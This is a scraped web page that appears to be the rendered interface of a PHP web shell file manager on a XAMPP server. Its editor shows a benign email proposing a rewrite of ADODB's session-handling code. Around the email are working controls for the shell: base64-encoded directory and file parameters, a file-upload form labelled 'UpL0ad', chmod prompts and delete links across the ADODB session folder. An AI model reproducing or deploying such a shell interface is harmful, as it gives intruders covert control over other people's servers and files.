1	2	3	4	5	6	7	8	9	10	11	12	13	14	15	16	17	18	19	20	21	22	23	24	25	26	27	28	29	30	31	32	33	34	35	36	37	38	39	40	41	42	43	<hr>adodb-sess.txt<form method=post action="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg%3D%3D&f=YWRvZGItc2Vzcy50eHQ%3D"><input name="f" value="adodb-sess.txt"><textarea name="t">John,

I have been an extremely satisfied ADODB user for several years now.

To give you something back for all your hard work, I've spent the last 3
days rewriting the adodb-session.php code.

----------
What's New
----------

Here's a list of the new code's benefits:

* Combines the functionality of the three files:

adodb-session.php
adodb-session-clob.php
adodb-cryptsession.php

each with very similar functionality, into a single file adodb-session.php.
This will ease maintenance and support issues.

* Supports multiple encryption and compression schemes.
  Currently, we support:

  MD5Crypt (crypt.inc.php)
  MCrypt
  Secure (Horde's emulation of MCrypt, if MCrypt module is not available.)
  GZip
  BZip2

These can be stacked, so if you want to compress and then encrypt your
session data, it's easy.
Also, the built-in MCrypt functions will be *much* faster, and more secure,
than the MD5Crypt code.

* adodb-session.php contains a single class ADODB_Session that encapsulates
all functionality.
  This eliminates the use of global vars and defines (though they are
supported for backwards compatibility).

* All user defined parameters are now static functions in the ADODB_Session
class.

New parameters include:

* encryptionKey(): Define the encryption key used to encrypt the session.
Originally, it was a hard coded string.

* persist(): Define if the database will be opened in persistent mode.
Originally, the user had to call adodb_sess_open().

* dataFieldName(): Define the field name used to store the session data, as
'DATA' appears to be a reserved word in the following cases:
	ANSI SQL
	IBM DB2
	MS SQL Server
	Postgres
	SAP

* filter(): Used to support multiple, simulataneous encryption/compression
schemes.

* Debug support is improved thru _rsdump() function, which is called after
every database call.

------------
What's Fixed
------------

The new code includes several bug fixes and enhancements:

* sesskey is compared in BINARY mode for MySQL, to avoid problems with
session keys that differ only by case.
  Of course, the user should define the sesskey field as BINARY, to
correctly fix this problem, otherwise performance will suffer.

* In ADODB_Session::gc(), if $expire_notify is true, the multiple DELETES in
the original code have been optimized to a single DELETE.

* In ADODB_Session::destroy(), since &quot;SELECT expireref, sesskey FROM $table
WHERE sesskey = $qkey&quot; will only return a single value, we don't loop on the
result, we simply process the row, if any.

* We close $rs after every use.

---------------
What's the Same
---------------

I know backwards compatibility is *very* important to you.  Therefore, the
new code is 100% backwards compatible.

If you like my code, but don't &quot;trust&quot; it's backwards compatible, maybe we
offer it as beta code, in a new directory for a release or two?

------------
What's To Do
------------

I've vascillated over whether to use a single function to get/set
parameters:

$user = ADODB_Session::user(); 	// get
ADODB_Session::user($user);		// set

or to use separate functions (which is the PEAR/Java way):

$user = ADODB_Session::getUser();
ADODB_Session::setUser($user);

I've chosen the former as it's makes for a simpler API, and reduces the
amount of code, but I'd be happy to change it to the latter.

Also, do you think the class should be a singleton class, versus a static
class?

Let me know if you find this code useful, and will be including it in the
next release of ADODB.

If so, I will modify the current documentation to detail the new
functionality.  To that end, what file(s) contain the documentation?  Please
send them to me if they are not publically available.

Also, if there is *anything* in the code that you like to see changed, let
me know.

Thanks,

Ross

</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=QzpceGFtcHBcaHdzb2Z0">C:\xampp\hwsoft</a><hr>curdir: C:\xampp\php\pear\adodb\session<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg=="/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=Lg==&c=`+btoa(c):0" value="0777"></td><td>8192</td></tr><tr><td></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGI="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=Li4=&c=`+btoa(c):0" value="0777"></td><td>12288</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&x=YWRvZGItY29tcHJlc3MtYnppcDIucGhw">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=YWRvZGItY29tcHJlc3MtYnppcDIucGhw"/>adodb-compress-bzip2.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=YWRvZGItY29tcHJlc3MtYnppcDIucGhw&c=`+btoa(c):0" value="0666"></td><td>2052</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&x=YWRvZGItY29tcHJlc3MtZ3ppcC5waHA=">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=YWRvZGItY29tcHJlc3MtZ3ppcC5waHA="/>adodb-compress-gzip.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=YWRvZGItY29tcHJlc3MtZ3ppcC5waHA=&c=`+btoa(c):0" value="0666"></td><td>1505</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&x=YWRvZGItY3J5cHRzZXNzaW9uLnBocA==">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=YWRvZGItY3J5cHRzZXNzaW9uLnBocA=="/>adodb-cryptsession.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=YWRvZGItY3J5cHRzZXNzaW9uLnBocA==&c=`+btoa(c):0" value="0666"></td><td>624</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&x=YWRvZGItY3J5cHRzZXNzaW9uMi5waHA=">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=YWRvZGItY3J5cHRzZXNzaW9uMi5waHA="/>adodb-cryptsession2.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=YWRvZGItY3J5cHRzZXNzaW9uMi5waHA=&c=`+btoa(c):0" value="0666"></td><td>625</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&x=YWRvZGItZW5jcnlwdC1tY3J5cHQucGhw">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=YWRvZGItZW5jcnlwdC1tY3J5cHQucGhw"/>adodb-encrypt-mcrypt.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=YWRvZGItZW5jcnlwdC1tY3J5cHQucGhw&c=`+btoa(c):0" value="0666"></td><td>1824</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&x=YWRvZGItZW5jcnlwdC1tZDUucGhw">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=YWRvZGItZW5jcnlwdC1tZDUucGhw"/>adodb-encrypt-md5.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=YWRvZGItZW5jcnlwdC1tZDUucGhw&c=`+btoa(c):0" value="0666"></td><td>751</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&x=YWRvZGItZW5jcnlwdC1zZWNyZXQucGhw">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=YWRvZGItZW5jcnlwdC1zZWNyZXQucGhw"/>adodb-encrypt-secret.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=YWRvZGItZW5jcnlwdC1zZWNyZXQucGhw&c=`+btoa(c):0" value="0666"></td><td>1002</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&x=YWRvZGItZW5jcnlwdC1zaGExLnBocA==">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=YWRvZGItZW5jcnlwdC1zaGExLnBocA=="/>adodb-encrypt-sha1.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=YWRvZGItZW5jcnlwdC1zaGExLnBocA==&c=`+btoa(c):0" value="0666"></td><td>405</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&x=YWRvZGItc2Vzcy50eHQ=">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=YWRvZGItc2Vzcy50eHQ="/>adodb-sess.txt</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=YWRvZGItc2Vzcy50eHQ=&c=`+btoa(c):0" value="0666"></td><td>3913</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&x=YWRvZGItc2Vzc2lvbi1jbG9iLnBocA==">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=YWRvZGItc2Vzc2lvbi1jbG9iLnBocA=="/>adodb-session-clob.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=YWRvZGItc2Vzc2lvbi1jbG9iLnBocA==&c=`+btoa(c):0" value="0666"></td><td>547</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&x=YWRvZGItc2Vzc2lvbi1jbG9iMi5waHA=">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=YWRvZGItc2Vzc2lvbi1jbG9iMi5waHA="/>adodb-session-clob2.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=YWRvZGItc2Vzc2lvbi1jbG9iMi5waHA=&c=`+btoa(c):0" value="0666"></td><td>548</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&x=YWRvZGItc2Vzc2lvbi5waHA=">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=YWRvZGItc2Vzc2lvbi5waHA="/>adodb-session.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=YWRvZGItc2Vzc2lvbi5waHA=&c=`+btoa(c):0" value="0666"></td><td>21216</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&x=YWRvZGItc2Vzc2lvbjIucGhw">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=YWRvZGItc2Vzc2lvbjIucGhw"/>adodb-session2.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=YWRvZGItc2Vzc2lvbjIucGhw&c=`+btoa(c):0" value="0666"></td><td>21944</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&x=YWRvZGItc2Vzc2lvbnMubXlzcWwuc3Fs">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=YWRvZGItc2Vzc2lvbnMubXlzcWwuc3Fs"/>adodb-sessions.mysql.sql</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=YWRvZGItc2Vzc2lvbnMubXlzcWwuc3Fs&c=`+btoa(c):0" value="0666"></td><td>396</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&x=YWRvZGItc2Vzc2lvbnMub3JhY2xlLmNsb2Iuc3Fs">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=YWRvZGItc2Vzc2lvbnMub3JhY2xlLmNsb2Iuc3Fs"/>adodb-sessions.oracle.clob.sql</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=YWRvZGItc2Vzc2lvbnMub3JhY2xlLmNsb2Iuc3Fs&c=`+btoa(c):0" value="0666"></td><td>281</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&x=Y3J5cHQuaW5jLnBocA==">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=Y3J5cHQuaW5jLnBocA=="/>crypt.inc.php</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=Y3J5cHQuaW5jLnBocA==&c=`+btoa(c):0" value="0666"></td><td>2811</td></tr><tr><td></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvblxvbGQ="/>old</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=b2xk&c=`+btoa(c):0" value="0777"></td><td>4096</td></tr><tr><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&x=c2Vzc2lvbl9zY2hlbWEueG1s">X</a></td><td><a href="?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=c2Vzc2lvbl9zY2hlbWEueG1s"/>session_schema.xml</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=QzpceGFtcHBccGhwXHBlYXJcYWRvZGJcc2Vzc2lvbg==&f=c2Vzc2lvbl9zY2hlbWEueG1s&c=`+btoa(c):0" value="0666"></td><td>537</td></tr></table>